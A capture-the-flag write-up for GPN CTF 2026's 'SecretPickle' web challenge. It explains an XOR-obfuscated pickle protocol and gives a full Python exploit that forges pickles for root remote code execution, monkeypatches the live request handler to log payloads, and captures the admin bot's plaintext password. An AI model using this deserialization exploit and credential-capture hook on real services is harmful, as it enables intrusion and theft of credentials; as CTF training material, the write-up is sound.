Challenge: SecretPickle · CTF: GPN CTF 2026 · Category: Web · Difficulty: Easy

Summary

The site ships a Pyodide client that serializes requests with “secretpickle” — plain pickle obfuscated by a hardcoded XOR key and a fixed prefix. The server pickle.loads() attacker data, giving unauthenticated root RCE. The flag isn’t on the web pod; it’s the adminbot’s admin password, which the client sends to the server in plaintext on login — captured by hooking the live request handler.

Solution

Step 1: Forge a pickle for RCE

secretpickle_dump = pickle.dumps → trim a fixed prefix → XOR with a hardcoded 128-bit key (77c0...d0d3) → base64. The server route POST /{b64} runs secretpickle_loadpickle.loads. Since the key/prefix are public, we reuse the exact functions to forge any pickle. Embedding an object with __reduce__ as params.name and using the hello action (which reflects params.get('name')) gives us command output back. RCE confirmed as uid=0(root).

Step 2: Locate the flag → hook the handler

There’s no flag file on the web pod. adminbot.py reads /flag.txt and registers/logs in as admin with password = FLAG. Passwords are stored only as SHA-256 hashes, but the login request itself carries the password in cleartext. So we use exec-based RCE to monkeypatch the module-global async action_handler (FastAPI resolves it per request — no restart needed) to log every incoming payload, then trigger the adminbot action. The bot logs in and its plaintext password lands in our log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
import base64, pickle, json, urllib.request, subprocess

BASE = "https://grilled-dumpling-nestled-in-fermented-brown-butter-rezn.gpn24.ctf.kitctf.de"

# --- secretpickle (public prefix + hardcoded key) ---
# PROTO4 | FRAME(len=0) | EMPTY_DICT | MEMOIZE | MARK
PREFIX = bytes.fromhex("8004" "950000000000000000" "7d" "94" "28")
KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")

def xor(d):
    return bytes(b ^ KEY[i % len(KEY)] for i, b in enumerate(d))

def sp_dump(obj):
    return base64.b64encode(xor(pickle.dumps(obj)[len(PREFIX):])).decode()

def sp_load(enc):
    return pickle.loads(PREFIX + xor(base64.b64decode(enc)))

def post(payload):
    enc = sp_dump(payload)
    req = urllib.request.Request(f"{BASE}/{enc}", method="POST")
    return sp_load(json.loads(urllib.request.urlopen(req, timeout=60).read()))

# --- RCE primitives ---
def rce_exec(code):
    class E:
        def __reduce__(self):
            return (exec, (code,))
    return post({"a": "hello", "params": {"name": E()}})

def rce_sh(cmd):
    class E:
        def __reduce__(self):
            return (subprocess.check_output, (["sh", "-c", cmd + " 2>&1; true"],))
    return post({"a": "hello", "params": {"name": E()}})["result"][8:-2]

# 1) hook the live FastAPI handler to log every payload
rce_exec(r'''
import sys
for m in list(sys.modules.values()):
    if hasattr(m,"action_handler") and hasattr(m,"secretpickle_load"):
        _o=m.action_handler
        if getattr(_o,"_hooked",0): continue
        async def _p(action,params,pl,_o=_o):
            try: open("/tmp/cap","a").write(repr(pl)+"\n")
            except Exception: pass
            return await _o(action,params,pl)
        _p._hooked=1
        m.action_handler=_p
''')

# 2) trigger the adminbot (it registers+logs in as admin with password=FLAG)
url = base64.b64encode(b"http://127.0.0.1:80/?a=whoami").decode()
try:
    post({"a": "adminbot", "params": {"url": url}})
except Exception:
    pass

# 3) read the captured plaintext login
print(rce_sh("cat /tmp/cap"))

Output:

1
{'action': 'login', 'params': {'username': 'admin', 'password': 'GPNCTF{the_PiCk13_WaS_SeCRE7_8UT_nEV3R_SECuRE}'}}

Flag

1
GPNCTF{the_PiCk13_WaS_SeCRE7_8UT_nEV3R_SECuRE}